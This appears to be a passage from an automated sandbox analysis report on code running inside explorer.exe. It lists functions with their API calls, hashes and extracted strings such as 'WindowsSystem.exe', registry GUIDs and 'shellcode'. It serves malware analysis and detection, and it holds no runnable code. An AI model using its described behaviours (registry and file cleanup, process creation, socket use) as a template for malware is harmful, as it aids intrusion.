Instruction Fuzzy Hash: B6D01733629E90CAE6708B05FA44BAAB360F7C0704F506011A6C292908CB38C890CE00

Function 00E25123 Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E25183

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: c334c5a706d2358cffd21ca2a89902cb0897f7236b5e31b31bde773446387451
Instruction ID: 06aeae9a39abddd7ac0661cee82a5b791cce952dc1d85676c5b75ba0ce46d62d
Opcode Fuzzy Hash: c334c5a706d2358cffd21ca2a89902cb0897f7236b5e31b31bde773446387451
Instruction Fuzzy Hash: B6D01733629E90CAE6708B05FA44BAAB360F7C0704F506011A6C292908CB38C890CE00

Function 00E2491C Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E24C56

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 3a1423a10d6c23ad0d70ca8df7085a05a4326c9adc261c3d6554e918dcf8160a
Instruction ID: 2c597c75e68a2e12bdbd147ac25d29dfe90b5bd66ec20352aed8254f52eebad0
Opcode Fuzzy Hash: 3a1423a10d6c23ad0d70ca8df7085a05a4326c9adc261c3d6554e918dcf8160a
Instruction Fuzzy Hash: 20D01772619690C7E7748B08F041BAAB360F780744F402021A286A2994CF39D980CE00

Function 00E24ABE Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E24C56

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5cd527b682022ef2e181432df0d08e7952cbdf5ffb770021f4e618f9a49ae03e
Instruction ID: 2c597c75e68a2e12bdbd147ac25d29dfe90b5bd66ec20352aed8254f52eebad0
Opcode Fuzzy Hash: 5cd527b682022ef2e181432df0d08e7952cbdf5ffb770021f4e618f9a49ae03e
Instruction Fuzzy Hash: 20D01772619690C7E7748B08F041BAAB360F780744F402021A286A2994CF39D980CE00

Function 00E24BF6 Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E24C56

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: f9167c6025ceaf99fe249accd0e6505652e1a8aee71905078ff3a5cba5771e6b
Instruction ID: 2c597c75e68a2e12bdbd147ac25d29dfe90b5bd66ec20352aed8254f52eebad0
Opcode Fuzzy Hash: f9167c6025ceaf99fe249accd0e6505652e1a8aee71905078ff3a5cba5771e6b
Instruction Fuzzy Hash: 20D01772619690C7E7748B08F041BAAB360F780744F402021A286A2994CF39D980CE00

Function 00E24BC1 Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E24C56

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 066845098519c5cfd41540883547bc2673087f9916ed1057274385ce232eb9ba
Instruction ID: 2c597c75e68a2e12bdbd147ac25d29dfe90b5bd66ec20352aed8254f52eebad0
Opcode Fuzzy Hash: 066845098519c5cfd41540883547bc2673087f9916ed1057274385ce232eb9ba
Instruction Fuzzy Hash: 20D01772619690C7E7748B08F041BAAB360F780744F402021A286A2994CF39D980CE00

Function 00E24B30 Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E24C56

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 60cf21f62d1dc145206f08a91dd1bba283ab904a53c73a5ec01a131829a1e1fa
Instruction ID: 2c597c75e68a2e12bdbd147ac25d29dfe90b5bd66ec20352aed8254f52eebad0
Opcode Fuzzy Hash: 60cf21f62d1dc145206f08a91dd1bba283ab904a53c73a5ec01a131829a1e1fa
Instruction Fuzzy Hash: 20D01772619690C7E7748B08F041BAAB360F780744F402021A286A2994CF39D980CE00

Function 00E24B0D Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E24C56

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: bc4a491e1d895ba903ebd733a6c2b6428fd16bf76896332000bf1874532a21ec
Instruction ID: 2c597c75e68a2e12bdbd147ac25d29dfe90b5bd66ec20352aed8254f52eebad0
Opcode Fuzzy Hash: bc4a491e1d895ba903ebd733a6c2b6428fd16bf76896332000bf1874532a21ec
Instruction Fuzzy Hash: 20D01772619690C7E7748B08F041BAAB360F780744F402021A286A2994CF39D980CE00

Function 00E24C3E Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E24C56

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: fa60f3a416112e8adcec0e53fd871012574ce522b2df7edb6f362fde096d8998
Instruction ID: 2c597c75e68a2e12bdbd147ac25d29dfe90b5bd66ec20352aed8254f52eebad0
Opcode Fuzzy Hash: fa60f3a416112e8adcec0e53fd871012574ce522b2df7edb6f362fde096d8998
Instruction Fuzzy Hash: 20D01772619690C7E7748B08F041BAAB360F780744F402021A286A2994CF39D980CE00

Function 00E24E5D Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E25183

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ad47ab168a522904eb856b3a1201d543518aba2d81f16c490d2d8a331398e2e9
Instruction ID: 06aeae9a39abddd7ac0661cee82a5b791cce952dc1d85676c5b75ba0ce46d62d
Opcode Fuzzy Hash: ad47ab168a522904eb856b3a1201d543518aba2d81f16c490d2d8a331398e2e9
Instruction Fuzzy Hash: B6D01733629E90CAE6708B05FA44BAAB360F7C0704F506011A6C292908CB38C890CE00

Function 00E24FEB Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E25183

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 2bd924773c0a936edeb4f88b958d470719fc266598c3ddbb2f27d594b3bb43b2
Instruction ID: 06aeae9a39abddd7ac0661cee82a5b791cce952dc1d85676c5b75ba0ce46d62d
Opcode Fuzzy Hash: 2bd924773c0a936edeb4f88b958d470719fc266598c3ddbb2f27d594b3bb43b2
Instruction Fuzzy Hash: B6D01733629E90CAE6708B05FA44BAAB360F7C0704F506011A6C292908CB38C890CE00

Function 00E24F1C Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00E25183

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ff5ee50a62be3026aaca02c36c402438e3cb08bf91299c3ab615d8e18b598aed
Instruction ID: 06aeae9a39abddd7ac0661cee82a5b791cce952dc1d85676c5b75ba0ce46d62d
Opcode Fuzzy Hash: ff5ee50a62be3026aaca02c36c402438e3cb08bf91299c3ab615d8e18b598aed
Instruction Fuzzy Hash: B6D01733629E90CAE6708B05FA44BAAB360F7C0704F506011A6C292908CB38C890CE00

Non-executed Functions

Function 00E0A8C0 Relevance: 98.4, APIs: 42, Strings: 14, Instructions: 440stringregistrylibraryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00E0AB8A
SetEvent.KERNEL32 ref: 00E0ABFF

Part of subcall function 00E17DA0: lstrlenW.KERNEL32 ref: 00E17DEC

wnsprintfW.SHLWAPI ref: 00E0AC32
RegDeleteKeyExW.ADVAPI32 ref: 00E0AC50
wnsprintfW.SHLWAPI ref: 00E0AC83
RegDeleteKeyExW.ADVAPI32 ref: 00E0ACA1
wnsprintfW.SHLWAPI ref: 00E0ACD4
RegDeleteKeyExW.ADVAPI32 ref: 00E0ACF2
wnsprintfW.SHLWAPI ref: 00E0AD25
RegDeleteKeyExW.ADVAPI32 ref: 00E0AD43

Part of subcall function 00E0F370: RegOpenKeyW.ADVAPI32 ref: 00E0F390
Part of subcall function 00E0F370: RegDeleteValueW.ADVAPI32 ref: 00E0F3A6
Part of subcall function 00E0F370: RegCloseKey.ADVAPI32 ref: 00E0F3B1
Part of subcall function 00E0F370: RegOpenKeyW.ADVAPI32 ref: 00E0F3D3
Part of subcall function 00E0F370: RegDeleteValueW.KERNEL32 ref: 00E0F3E9
Part of subcall function 00E0F370: RegCloseKey.ADVAPI32 ref: 00E0F3F4

Part of subcall function 00E105B0: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00E04277), ref: 00E105CB
Part of subcall function 00E105B0: SHGetKnownFolderPath.SHELL32 ref: 00E105EF
Part of subcall function 00E105B0: DeleteFileW.KERNEL32 ref: 00E10625
Part of subcall function 00E105B0: CoTaskMemFree.COMBASE ref: 00E10630
Part of subcall function 00E105B0: LocalFree.KERNEL32 ref: 00E1063B
Part of subcall function 00E105B0: SHGetKnownFolderPath.SHELL32 ref: 00E10652
Part of subcall function 00E105B0: LocalAlloc.KERNEL32 ref: 00E1066A
Part of subcall function 00E105B0: LocalAlloc.KERNEL32 ref: 00E106B2
Part of subcall function 00E105B0: DeleteFileW.KERNEL32 ref: 00E106FD
Part of subcall function 00E105B0: RemoveDirectoryW.KERNEL32 ref: 00E10708
Part of subcall function 00E105B0: LocalFree.KERNEL32 ref: 00E10713
Part of subcall function 00E105B0: LocalFree.KERNEL32 ref: 00E1071E
Part of subcall function 00E105B0: CoTaskMemFree.COMBASE ref: 00E10729

Part of subcall function 00E0FD90: CoInitializeEx.COMBASE ref: 00E0FDC0
Part of subcall function 00E0FD90: CoUninitialize.COMBASE ref: 00E101C3

Part of subcall function 00E10330: OpenEventW.KERNEL32 ref: 00E10351
Part of subcall function 00E10330: SetEvent.KERNEL32 ref: 00E10372
Part of subcall function 00E10330: CloseHandle.KERNEL32 ref: 00E10380
Part of subcall function 00E10330: OpenMutexW.KERNEL32 ref: 00E103A0
Part of subcall function 00E10330: WaitForSingleObject.KERNEL32 ref: 00E103C6
Part of subcall function 00E10330: CloseHandle.KERNEL32 ref: 00E103D4
Part of subcall function 00E10330: SHGetKnownFolderPath.SHELL32 ref: 00E103EE
Part of subcall function 00E10330: LocalAlloc.KERNEL32 ref: 00E10406
Part of subcall function 00E10330: lstrlenW.KERNEL32 ref: 00E10467
Part of subcall function 00E10330: GetFileAttributesW.KERNEL32 ref: 00E104F3
Part of subcall function 00E10330: LocalFree.KERNEL32 ref: 00E10543
Part of subcall function 00E10330: CoTaskMemFree.COMBASE ref: 00E10551
Part of subcall function 00E10330: wnsprintfW.SHLWAPI ref: 00E1057E
Part of subcall function 00E10330: RegDeleteKeyExW.ADVAPI32 ref: 00E10596

Part of subcall function 00E101E0: SHGetKnownFolderPath.SHELL32 ref: 00E101F8
Part of subcall function 00E101E0: LocalAlloc.KERNEL32 ref: 00E10210
Part of subcall function 00E101E0: lstrlenW.KERNEL32 ref: 00E10262
Part of subcall function 00E101E0: GetFileAttributesW.KERNEL32 ref: 00E102CA
Part of subcall function 00E101E0: LocalFree.KERNEL32 ref: 00E1030B
Part of subcall function 00E101E0: CoTaskMemFree.COMBASE ref: 00E10316

Part of subcall function 00E0F790: SHGetKnownFolderPath.SHELL32(?,?,?,?,?,?,?,?,00E167C4), ref: 00E0F7AF
Part of subcall function 00E0F790: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,00E167C4), ref: 00E0F7C3
Part of subcall function 00E0F790: wnsprintfW.SHLWAPI ref: 00E0F7FC
Part of subcall function 00E0F790: lstrlenW.KERNEL32 ref: 00E0F80B
Part of subcall function 00E0F790: CoTaskMemFree.COMBASE ref: 00E0F81D

GetFileAttributesW.KERNEL32 ref: 00E0AE29
SHFileOperationW.SHELL32 ref: 00E0AE48
LocalFree.KERNEL32 ref: 00E0AE79
GetWindowsDirectoryW.KERNEL32 ref: 00E0AF37
CreateProcessW.KERNEL32 ref: 00E0B00A
GetCurrentProcess.KERNEL32 ref: 00E0B019
DuplicateHandle.KERNEL32 ref: 00E0B06B
GetCurrentProcess.KERNEL32 ref: 00E0B07A
DuplicateHandle.KERNEL32 ref: 00E0B0CB
LoadLibraryW.KERNEL32 ref: 00E0B0E2
GetProcAddress.KERNEL32 ref: 00E0B120
GetProcAddress.KERNEL32 ref: 00E0B13E
lstrcpyW.KERNEL32 ref: 00E0B15C
lstrcpyA.KERNEL32 ref: 00E0B172
lstrcpyA.KERNEL32 ref: 00E0B188
lstrcpyA.KERNEL32 ref: 00E0B19E
lstrcpyA.KERNEL32 ref: 00E0B1B4
lstrcpyA.KERNEL32 ref: 00E0B1CA
lstrcpyA.KERNEL32 ref: 00E0B1DD
lstrcpyW.KERNEL32 ref: 00E0B1F3
lstrcpyW.KERNEL32 ref: 00E0B209
LocalFree.KERNEL32 ref: 00E0B2D2
CloseHandle.KERNEL32 ref: 00E0B2F7
CloseHandle.KERNEL32 ref: 00E0B305
TerminateProcess.KERNEL32 ref: 00E0B31F
LocalFree.KERNEL32 ref: 00E0B32D
OpenEventW.KERNEL32 ref: 00E0B341
SetEvent.KERNEL32 ref: 00E0B362
CloseHandle.KERNEL32 ref: 00E0B370
shutdown.WS2_32 ref: 00E0B383
closesocket.WS2_32 ref: 00E0B391

Strings

Software\%s, xrefs: 00E0AC6F
{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 00E0AC17
WindowsSystem.exe, xrefs: 00E0AEDF
2, xrefs: 00E0AACE
Software\%s, xrefs: 00E0ACC0
h, xrefs: 00E0AFA4
WindowsSystem, xrefs: 00E0AD53
{DD700AA6-D197-4A4A-838A-B93EA96F236B}, xrefs: 00E0B333
{DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}, xrefs: 00E0AC68
%s%s, xrefs: 00E0AEF3
Software\%s, xrefs: 00E0AC1E
SOFTWARE\%s, xrefs: 00E0AD11
{108D3252-20F0-4C1B-940D-6ED5366D8FD3}, xrefs: 00E0ACB9
{D961EA11-3F69-43D1-8581-E526BBBDC738}, xrefs: 00E0AD0A

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Deletelstrcpy$CloseHandle$AllocFilewnsprintf$EventFolderKnownOpenPathTask$Processlstrlen$Attributes$AddressCurrentDirectoryDuplicateProcValue$CreateInitializeLibraryLoadMutexObjectOperationRemoveSingleTerminateUninitializeWaitWindowsclosesocketsetsockoptshutdown
String ID: %s%s$2$SOFTWARE\%s$Software\%s$Software\%s$Software\%s$WindowsSystem$WindowsSystem.exe$h${108D3252-20F0-4C1B-940D-6ED5366D8FD3}${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}${D961EA11-3F69-43D1-8581-E526BBBDC738}${DD700AA6-D197-4A4A-838A-B93EA96F236B}${DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}
API String ID: 1118244034-4064362955
Opcode ID: 5d75a97702afd6feea535c42e6fa019a02aea97d84d842329c44f83779ea5af5
Instruction ID: fb91bb7698583037ed778a6a957c355f0cc8aa8b1cc083cf6f308e3d66f3868b
Opcode Fuzzy Hash: 5d75a97702afd6feea535c42e6fa019a02aea97d84d842329c44f83779ea5af5
Instruction Fuzzy Hash: FE42F436218BC095D770DB14F8983DAB3A5F798754F901626D68D93BA8EF7DC288CB40

Function 00E0E8C0 Relevance: 93.0, APIs: 43, Strings: 10, Instructions: 213stringCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00E0E8C7
CommandLineToArgvW.SHELL32 ref: 00E0E8DC
lstrcmpiW.KERNEL32 ref: 00E0E8F7
lstrcmpiW.KERNEL32 ref: 00E0E91D

Part of subcall function 00E05AD0: GetModuleFileNameW.KERNEL32 ref: 00E05AFE
Part of subcall function 00E05AD0: _LDint.LIBCPMTD ref: 00E05B15
Part of subcall function 00E05AD0: CreateFileW.KERNEL32 ref: 00E05B93
Part of subcall function 00E05AD0: WriteFile.KERNEL32 ref: 00E05BF0
Part of subcall function 00E05AD0: CloseHandle.KERNEL32 ref: 00E05C13

Strings

{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}, xrefs: 00E0E9E4, 00E0EADE, 00E0EBE6, 00E0EC73
{34E50511-FBB8-42F8-98A2-2629192A03A0}, xrefs: 00E0E90D
{8399C93C-77D8-4A9E-96D7-0200E8B3EE42}, xrefs: 00E0E972
{6B55C48E-8FCD-482F-91CF-9C0B3FD8AC2B}, xrefs: 00E0EA8E, 00E0EB93
{9D5F29AE-FCE3-40C6-8BE3-47B8C62D31E2}, xrefs: 00E0EA30
shellcode, xrefs: 00E0E8E7
{A3956157-6EDC-4743-A7B9-FF7CDC2529A9}, xrefs: 00E0EC46
{FF4E2D7F-189B-498D-BED3-F1AA783F6E3F}, xrefs: 00E0EA4E, 00E0EB53
{D77DC119-1B4A-41E3-A066-2927413CA76D}, xrefs: 00E0E936
{0F01F64A-5A5B-4CC4-B069-D85368F634DD}, xrefs: 00E0EB35

Memory Dump Source

